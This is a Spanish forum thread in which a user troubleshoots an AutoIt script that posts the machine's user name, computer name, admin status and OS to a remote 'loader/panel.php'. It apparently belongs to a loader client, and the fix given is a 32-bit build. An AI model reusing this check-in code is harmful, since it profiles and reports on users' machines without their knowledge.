• Otros lenguajes de Scripting

 #400813  por Scorpio
 13 Ene 2013, 05:28
Buenas amigos, tengo un problema que me esta matando, y me gustaría que opinara y si puede, que ayuden.

Mi problema surge a la hora de Enviar una Petición HTTP Post desde AutoIt.

Les explico como lo hice:
Código: Seleccionar todo
$oHTTP = ObjCreate("winhttp.winhttprequest.5.1")
$oHTTP.Open("POST", "http://www.web.com/loader/panel.php", False)
$oHTTP.SetRequestHeader("Content-Type", "application/x-www-form-urlencoded")
$oHTTP.SetRequestHeader("User-Agent", "EstaEsLaClabeXD")
$oHTTP.Send("userandpc=" & @UserName & "@" & @ComputerName & $IsAdmin & "os=" & $Sistema & "&id=NiZorraIdea")
Como podrán ver, el código es correcto, las funciones que puse están creadas y funcionan correctamente.

El fallo en sí, no ocurría, pero sin modificar nada, empezó ha dar error:
Código: Seleccionar todo
>"C:\Program Files (x86)\AutoIt3\SciTE\AutoIt3Wrapper\AutoIt3Wrapper.exe" /run /prod /ErrorStdOut /in "C:\Users\Scorpio\Desktop\HTTPLoader\Client.au3" /UserParams  

La verdad, es que ya estoy muy mosqueado con AutoIt, es la segunda vez que me pasa, y no encontré una alternativa para enviar una Petición HTTP Post de otra manera.
 #400878  por Scorpio
 13 Ene 2013, 23:29
Ya la he usado, y me paso lo mismo, por eso busque otra manera, y me tope con la que uso ahora, que vuelve a fallar.
 #401179  por Scorpio
 16 Ene 2013, 21:03
Ya está solucionado.
Para los que tengan este problema, quiero que sepais, que yo tengo Windows 7 Home Premium Original de 64 Bits, hay esta el problema.

Reasen tiene Windows 7 Ultimate y todo le fue de perlas, asi que deducimos que era por que AutoIt (Al menos si compilas), es mejor que lo hagas de 32 Bits, algo así creo que tambien pasaba en Visual Basic 6.0, así que ha programar en Virtual se ha Dicho.